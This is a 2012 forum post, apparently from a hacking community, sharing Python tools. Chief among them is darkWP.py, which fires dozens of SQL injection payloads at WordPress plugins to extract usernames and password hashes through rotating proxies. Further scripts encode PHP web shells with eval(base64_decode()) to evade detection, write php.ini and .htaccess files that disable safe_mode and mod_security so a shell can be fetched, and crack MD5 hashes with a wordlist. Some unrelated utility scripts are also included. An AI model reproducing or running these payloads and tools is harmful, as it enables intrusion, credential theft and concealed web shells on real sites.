Active Members Fi8sVrs Posted October 12, 2012 Active Members Report Posted October 12, 2012 darkWP.py v.0.2darkWP.py is python script that attempts to check for known SQL Injection vulnerabilities in a given WordPress installationUsage : python darkWP.py [options]Required:Define: -u "www.target.com/wpdir/"Optional:Define: -p "127.0.0.1:8080 or proxy.txt"Example: python darkWP.py -u "www.target.com/wpdir/"Example: python darkWP.py -u "www.target.com/wpdir/" -p 127.0.0.1:8080Example: python darkWP.py -u "www.target.com/wpdir/" -p proxy.txt#!/usr/bin/python# This was written for educational purpose and pentest only. Use it at your own risk.# Author will be not responsible for any damage!# !!! Special greetz for my friend sinner_01 !!!# Toolname : darkWP.py# Coder : baltazar a.k.a b4ltazar < b4ltazar@gmail.com># Version : 0.2# greetz for all members of ex darkc0de.com, ljuska.org import sys, subprocess, re, urllib2, socketW = "\033[0m"; R = "\033[31m"; O = "\033[33m"; B = "\033[34m";sqls = ["wp-content/plugins/Calendar/front_end/spidercalendarbig_seemore.php?theme_id=5&ev_ids=1&calendar_id=null%20union%20all%20select%201,1,1,1,0x62616c74617a6172,1,1,1,1,1,1,1,1,1,1,1,1+--+&date=2012-10-10&many_sp_calendar=1&cur_page_url=", "wp-content/plugins/hd-webplayer/config.php?id=1+/*!UNION*/+/*!SELECT*/+1,2,3,group_concat(ID,0x3a,user_login,0x3a,user_pass,0x3b),5,6,7+from+wp_users", "?fbconnect_action=myhome&fbuserid=3+and+1=2+union+all+select+0,1,2,3,4,0x62616c74617a6172,6,7,8,9,10,11", "wp-content/plugins/ip-logger/map-details.php?lat=-1%20UNION%20ALL%20SELECT%200x62616c74617a6172,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20&lon=-1&blocked=-1", "wp-content/plugins/media-library-categories/sort.php?termid=1%20AND%20EXTRACTVALUE(1,CONCAT(CHAR(92),0x62616c74617a6172))", "wp-content/plugins/proplayer/playlist-controller.php?pp_playlist_id=-1') UNION ALL SELECT NULL,NULL,0x62616c74617a6172--%20", "wp-content/plugins/media-library-categories/sort.php?termid=-1%20UNION%20ALL%20SELECT%200x62616c74617a6172,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20", "wp-content/plugins/upm-polls/includes/poll_logs.php?qid=-1 UNION ALL SELECT NULL,CONCAT(CHAR(96),0x62616c74617a6172,CHAR(96)),NULL,NULL,NULL,NULL--", "wp-content/plugins/hd-webplayer/playlist.php?videoid=1+/*!UNION*/+/*!SELECT*/+group_concat(ID,0x3a,user_login,0x3a,user_pass,0x3b),2,3,4,5,6,7+from+wp_users", "wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&vasthtml_action=structure&do=editgroup&groupid=2%20AND%201=0%20UNION%20SELECT%20user_pass%20FROM%20wp_users%20WHERE%20ID=1", "index.php?cat=999%20UNION%20SELECT%20null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null%20FROM%20wp_users/*", "wp-admin/options-general.php?page=Sharebar&t=edit&id=1%20AND%201=0%20UNION%20SELECT%201,2,3,4,user_pass,6%20FROM%20wp_users%20WHERE%20ID=1", "index.php?cat=%2527%20UNION%20SELECT%20CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58))%20FROM%20wp_users/*", "index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**SELECT**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23", "index?page_id=115&forumaction=showprofile&user=1+union+select+null,concat(user_login,0x2f,user_pass,0x2f,user_email),null,null,null,null,null+from+wp_tbv_users/*", "wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6%20from%20wp_users--", "wp-content/plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--", "wp-content/plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,conca(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users", "wordspew-rss.php?id=-998877/**/UNION/**/SELECT/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),concat(0x7c,user_login,0x7c,user_pass,0x7c),4,5/**/FROM/**/wp_users", "wp-content/plugins/st_newsletter/shiftthis-preview.php?newsletter=-1/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users", "sf-forum?forum=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*", "sf-forum?forum=-99999/**/UNION/**/SELECT/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),0,0,0,0,0/**/FROM/**/wp_users/*", "forums?forum=1&topic=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*", "index?page_id=2&album=S@BUN&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201", "wp-download.php?dl_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*", "wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain", "wp-content/plugins/nextgen-smooth-gallery/nggSmoothFrame.php?galleryID=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*", "myLDlinker.php?url=-2/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*", "?page_id=2/&forum=all&value=9999+union+select+(select+concat_ws(0x3a,user_login,user_pass)+from+wp_users+LIMIT+0,1)--+&type=9&search=1&searchpage=2", "wp-content/themes/limon/cplphoto.php?postid=-2+and+1=1+union+all+select+1,2,concat(user_login,0x3a,user_pass),4,5,6,7,8,9,10,11,12+from+wp_users--&id=2", "?event_id=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*", "wp-content/plugins/photoracer/viewimg.php?id=-99999+union+select+0,1,2,3,4,user(),6,7,8/*", "wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--", "?page_id=2&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users/*", "wp-content/plugins/wp-forum/forum_feed.php?thread=-99999+union+select+1,2,3,concat(user_login,0x2f,user_pass,0x2f,user_email),5,6,7+from+wp_users/*", "mediaHolder.php?id=-9999/**/UNION/**/SELECT/**/concat(User(),char(58),Version()),2,3,4,5,6,Database()--", "wp-content/plugins/st_newsletter/stnl_iframe.php?newsletter=-9999+UNION+SELECT+concat(user_login,0x3a,user_pass,0x3a,user_email)+FROM+wp_users--", "wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain", "wp-download.php?dl_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*", "wp-content/plugins/Calendar/front_end/spidercalendarbig_seemore.php?theme_id=5&ev_ids=1&calendar_id=null union all select 1,1,1,1,concat(user_login,0x3a,user_pass),1,1,1,1,1,1,1,1,1,1,1,1+from+wp_users+--+&date=2012-10-10&many_sp_calendar=1&cur_page_url="]def logo(): print R+"\n|---------------------------------------------------------------|" print "| b4ltazar[@]gmail[dot]com |" print "| 10/2012 darkWP.py v.0.2 |" print "| b4ltazar.us |" print "| Usage: darkWP.py -h |" print "| |" print "|---------------------------------------------------------------|\n" print Wif sys.platform == 'linux' or sys.platform == 'linux2': subprocess.call("clear", shell=True) logo()else: subprocess.call("cls", shell=True) logo()target = ""proxy = "None"count = 0socket.setdefaulttimeout(30)for arg in sys.argv: if arg == "-h": print "Usage : python darkWP.py [options]" print "\n\tRequired:" print "\tDefine: -u \"www.target.com/wpdir/\"" print "\n\tOptional:" print "\tDefine: -p \"127.0.0.1:8080 or proxy.txt\"" print "\nExample: python darkWP.py -u \"www.target.com/wpdir/\"" print "Example: python darkWP.py -u \"www.target.com/wpdir/\" -p 127.0.0.1:8080" print "Example: python darkWP.py -u \"www.target.com/wpdir/\" -p proxy.txt" sys.exit(1) elif arg == "-u": target = sys.argv[count+1] elif arg == "-p": proxy = sys.argv[count+1] count += 1if target == "": print "[-] Must include -u flag" sys.exit(1)if target[:7] != "http://": target = "http://"+targetif target[-1:] != "/": target = target + "/"if proxy != "None": if len(proxy.split(".")) == 2: proxy = open(proxy, "r").read() if proxy.endswith("\n"): proxy = proxy.rstrip("\n") proxy = proxy.split("\n")print "[+] Wordpress Target:",targetprint "[+] Vulns Loaded:",len(sqls)proxy_list = []if proxy != "None": print "[+] Building Proxy List..." for p in proxy: try: proxy_handler = urllib2.ProxyHandler({'http': 'http://'+p+'/'}) opener = urllib2.build_opener(proxy_handler) opener.open("http://www.google.com") proxy_list.append(urllib2.build_opener(proxy_handler)) print "\tProxy:",p,"- Success" except: print "\tProxy:",p,"- Failed" pass if len(proxy_list) == 0: print "[-] All proxies have failed. Script Exiting" sys.exit(1) print "[+] Proxy List Complete"else: print "[-] Proxy Not Given" proxy_list.append(urllib2.build_opener())proxy_num = 0proxy_len = len(proxy_list)print "[+] Testing ..."for sql in sqls: try: source = proxy_list[proxy_num % proxy_len].open(target+sql, "80").read() md5s = re.findall("[a-f0-9]"*32, source) if len(md5s) >= 1 or re.findall("baltazar", source): print R+"\n[!] Found:",O+target+sql+"\n" for md5 in md5s: print "\t",md5,"\n" except(urllib2.URLError, socket.gaierror, socket.error, socket.timeout): pass except(KeyboardInterrupt, SystemExit): raiseprint W+"[!] Done"print "[+] Thanks for using this script, please visit b4ltazar.us"mirror: http://b4ltazar.us/codes/darkWP-0.2.pyCheck Proxies #!/usr/bin/env python#Check proxies ~ script by Illsuionist aka c0ax#Visit ljuska.org#Usage: checkproxy.py filename-with-proxiesimport sys, urllib2, timetry: fajl = sys.argv[1] file = open(fajl) lines = file.readlines() file.close() print "Proxies that works:" for proxy in lines: proxy = proxy.rstrip('\n').strip() if proxy == "": continue try: proksiji = {"http":"http://%s" % proxy} url = "http://www.google.com/search?q=ljuska" usrheaders={'User-agent' : 'Mozilla/5.0'} proksi = urllib2.ProxyHandler(proksiji) openns = urllib2.build_opener(proksi, urllib2.HTTPHandler(debuglevel=0)) urllib2.install_opener(openns) zaht = urllib2.Request(url, None, usrheaders) html = urllib2.urlopen(zaht).read() print proxy except: continueexcept: print "Read the usage..." time.sleep(2) sys.exit(1)Game Server Info # Game Server Info Script by c0ax#Greetz baltazar, b0ne, crax0, MikiSoft, Melvin, Toro etc.#Important: here "sok.connect((ip, 27089))".# Change '27089' with port of your server.#And in ip type ip of yourserver.#Visit ljuska.org and c0axe.blogspot.comimport socketdef ispis(isp): isp = isp.replace('\777', '') if isp.find('m') == 0: nejmsrv = isp.split('\0') [1] mapa = isp.split('\0') [2] igra = isp.split('\0') [4] print '\nGame:', igra print '\nServer name:', nejmsrv print '\nMap:', mapaip = '193.104.68.49' #Change this IP with IP of your server.sok = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)sok.connect((ip, 27089))sok.send('\377\377\377\377TSource Engine Query\0')while 1: konekt = sok.recv(1024) konekt = ispis(konekt) if not konekt: break print '[GET]', konektsok.close()#EOF. Good LuckApache Server Script start|stop|restart #!/usr/bin/env python#Apache Server start|stop|restart script by c0ax#Some of the functions ~ start|stop|reload|restart|configtest#Greetz baltazar, b0ne, Maxell, den5e, MikiSoft, Melvin crax0 etc.#Visit ljuska.org and c0axe.blogspot.comimport os, sys, timearg = sys.argv[1]def start(): strt = "/etc/init.d/apache2 start" print "Starting server..." os.system(strt) time.sleep(2) print "Server is started."def stop(): stp = "/etc/init.d/apache2 stop" os.system(stp) print "Stoping server..." time.sleep(2)def restart(): rst = "/etc/init.d/apache2 restart" os.system(rst) print "Restarting server..." time.sleep(2)def configtest(): confe = "/etc/init.d/apache2 configtest" os.system(confe) print "Configuring server..." time.sleep(2)if arg == 'start': start()if arg == 'stop': stop()if arg == 'restart': restart()if arg == 'configtest': configtest()MYSQL Dumper#!/usr/bin/env python#MySql dumper by c0ax#Greetz: baltazar, b0ne, den5e, Maxell, MikiSoft, Melvin, crax0, v0da, Soul, tek0t and all another ljuska members.#Usage: python dump.py dbname dbuser userpassword hostname nameofbackupfile#Example: python dump.py ljuskadb root toor localhost ljuskadbimport os, sys, timefrom time import gmtimebackdir = "/backup"dbname = sys.argv[1]user = sys.argv[2]usrpw = sys.argv[3]hostname = sys.argv[4]bekap = sys.argv[5]timescr = time.strftime("%a, %d %b %Y %H:%M:%S ", gmtime())main = "/usr/bin/mysqldump -u %s -p -h %s %s > %s.sql" % (user, hostname, dbname, bekap)if os.name == "posix": clsthisshit = 'clear'else: clsthisshit = 'cls'os.system(clsthisshit)if os.path.islink(backdir): print "Change the name of backup dir..." print "Visit ljuska.org and c0axe.blogspot.com" print "Exiting..." time.sleep(3) sys.exit()else: os.mkdir(backdir) os.chdir(backdir) os.system(main) time.sleep(2) if not os.listdir(backdir): print "Database %s is not dumped. Check again." % (dbname) print "Visit ljuska.org and c0axe.blogspot.com" print "Exiting..." time.sleep(3) sys.exit() else: print "%s has been dumped to %s with name %s.sql . \nVisit ljuska.org and c0axe.blogspot.com" % (dbname, backdir, bekap) print "Database %s dumped on %s." % (dbname, timescr) print "Host: %s \nDatabase: %s" % (hostname, dbname) print "Version:", os.system('mysql -V') print "Visit ljuska.org" print "Exiting..." time.sleep(3) sys.exit()PHP Base64 encoder#PHP Shell encoder by c0ax#Greetz svim mojim prijateljima, oni znaju ko su.#Usage: python encode.py 'input file name' 'output file name'#Example: python encode.py shell.php shell.txtimport sys, base64, time, osfajl = sys.argv[1]ispis = sys.argv[2]if len(sys.argv) != 3: print "Usage: python encode.py 'input file name' 'output file name'" sys.exit()try: ucitan = open(fajl, "rb") ucitan = ucitan.read()except: print "Opening input file failed." print "Visit ljuska.org and c0axe.blogspot.com" print "Exiting..." time.sleep(2) sys.exit()try: if "<?php" in ucitan: ucitan = ucitan.replace("<?php", "") if "<?" in ucitan: ucitan = ucitan.replace("<?", "") ucitan = ucitan.replace("?>", "")except: passpocetak = "<?php\neval(base64_decode('"enkod = base64.b64encode(ucitan)kraj = "'));\n?>"try: ispiskod = open(ispis, "w") ispiskod.write(pocetak + enkod + kraj) ispiskod = ispiskod.close() print "Script in file %s is encoded. Check %s file for encoded code." % (fajl, ispis) print "Visit ljuska.org and c0axe.blogspot.com" print "Exiting..." time.sleep(2) sys.exit()except: print "Making output %s file failed." % fajl print "Visit ljuska.org and c0axe.blogspot.com" print "Exiting..." time.sleep(2) sys.exit()#EOF. Good luck.PySBypasserThis script should bypass Safe Mod or disable functions or Mod Security. You need to create folder with 777 permision and then wget your shell ther and run script.#Safe Mode, Disabled Functions and Mod Security Bypass Script by c0ax#Greetz svim mojim prijateljima, oni znaju ko su.#Usage: python bypass.py [options]#Options are: -s or -m#Option -s is for Safe mod and disabled functions bypass#Option -m is for mod security bypassimport sys, osfrom os import *#======= Options ========#if len(sys.argv) != 2: print """#Usage: python bypass.py [options]#Options are: -s or -m#Option -s is for Safe mod and disabled functions bypass#Option -m is for mod security bypass"""opcija = sys.argv[1]#========== Safe Mode and Disbled Functions ==========#file = "php.ini"svenaoff = "safe_mode = OFF\nsafe_mode_gid = OFF\nopen_basedir = OFF\nmagic_quotes_gpc = Off \nmagic_quotes_runtime = Off\nmagic_quotes_sybase = Off""#========= Mod Security =========#htacc = ".htaccess"modsec = """<IfModule mod_security.c>SecFilterEngine OffSecFilterScanPOST Off</IfModule>"""#========= 1st. Loop =======#def safemodandfunc(): if not os.path.islink(file): try: fajl = open(file, "w+") fajl.write(svenaoff) fajl.close() print "File %s successfull created..." % file print "Safe Mod and Disabled functions should be bypassed..." print "Visit ljuska.org and c0axe.blogspot.com" except: print "Creating fille failed." print "Visit ljuska.org and c0axe.blogspot.com" pass else: print "File %s already exists..." % file print "Visit ljuska.org and c0axe.blogspot.com"#======== 2nd. Loop =======#def modsecb(): if not os.path.islink(htacc): try: fo = open(htacc, "w+") fo.write(modsec) fo.close() print "File %s successfull created." % htacc print "Visit ljuska.org and c0axe.blogspot.com" print "Exiting...\n" except: print "Creating file failed." print "Visit ljuska.org and c0axe.blogspot.com" print "Exiting...\n" pass else: print "File %s already exists." % htacc print "Visit ljuska.org and c0axe.blogspot.com" print "Exiting..."#======== Options checking loops =======#direk = '/script' perm = 'chmod 777 %s' % direkgoin = 'cd %s' % direkif (os.name == 'posix'): os.mkdir(direk) os.system(perm) os.system(goin) time.sleep(2) if opcija == '-s': safemodandfunc() print "Go into dir %s and wget your shell, you should have bypassed safe mod and functions." % direk if opcija == '-m': modsecb() print "Go into dir %s and wget your shell, you should have bypassed mod_security." % direkelse: print "Windows version of Python Super Bypasser is not finished yet."Simple md5 cracker#!/usr/bin/python#Script by c0ax aka Illusionist#01.07.2012#Greetz to all my friends.#Usage: md5cracker.py |hash| |wordlist|import sys, md5, timeif len(sys.argv) != 3: print "Read the usage..." time.sleep(2) sys.exit(1)passwd = sys.argv[1]list = sys.argv[2]try: file = open(list, "r")except: print "Check wordlist path if it exist...\n" time.sleep(2) sys.exit(1)file = file.readlines()print "\nNumber of words in file:", len(file)print "Cracking..."time.sleep(1)for words in file: hash = md5.new(words[:-1]) out = hash.hexdigest() if passwd == out: print "Password is: %s " % (words)text2leet#Text2leet#Script by c0ax #Greetz: Ljuska.org members#Usage: leet.py [FILENAME]import string, time, sysleet = string.maketrans('aAeEiIlLoOsStT', '44331111005577')lol = sys.argv[1]## opening files ##fajl = open(lol, "r")fajl2 = open("leet.txt", "w+")## For loop for translating/creating file ##for line in fajl: print "Writing leet file..." bil = line.translate(leet) fajl2.write(bil) fajl2.close print "Leet file created. Check out leet.txt for your leet text." print "Visit ljuska.org"#EOF.RSSFeed#!/usr/bin/python# @Ljuska.org and @Exploit-db Feed catcher ~ By c0ax#Greetz: Ljuska.org and Balkan-paradise.org memberz.import re, urllib## URL's ##url = urllib.urlopen("http://ljuska.org/feed.php").readlines()url2 = urllib.urlopen("http://www.exploit-db.com/rss.xml").readlines()## For 1 ##for line in url: match = "<title type=\"html\">" matc = "<id>" autor = "<author><name>" ## Ime topica ## if match in line: line = re.sub(" ","",line) line = re.sub("<title type=\"html\">","", line) line = re.sub("]]></title>","",line) line = line.replace("<![CDATA[", "") print "Ime Topica: ", line.rstrip() ## Link topica ## if matc in line: line = re.sub(" ","",line) line = re.sub("<id>","", line) line = re.sub("</id>","",line) print "Link Topica: " + line.rstrip() + "" ## Autor topica ## if autor in line: line = re.sub(" ","",line) line = re.sub("<author><name>","", line) line = re.sub("]></name></author>","",line) line = line.replace("<![CDATA", "") print "Autor Topica: " + line.rstrip() + "\n"## For 2 ##for explline in url2: expmatch = "<title>" matce = "<link>" ## Ime exploita ## if expmatch in explline: explline = re.sub(" ","",explline) explline = re.sub("<title>","", explline) explline = re.sub("</title>","",explline) print "Ime Exploita: ", explline.rstrip() ## Link exploita ## if matce in explline: explline = re.sub(" ","",explline) explline = re.sub("<link>","", explline) explline = re.sub("</link>","",explline) print "Link Exploita: " + explline.rstrip() + "\n"#EOF. Script by c0ax. Visit Ljuska.org and Balkan-paradise.orgnu m-a interesat nimic din ele vedeti voi ce si cumsource: http://b4ltazar.us/ Quote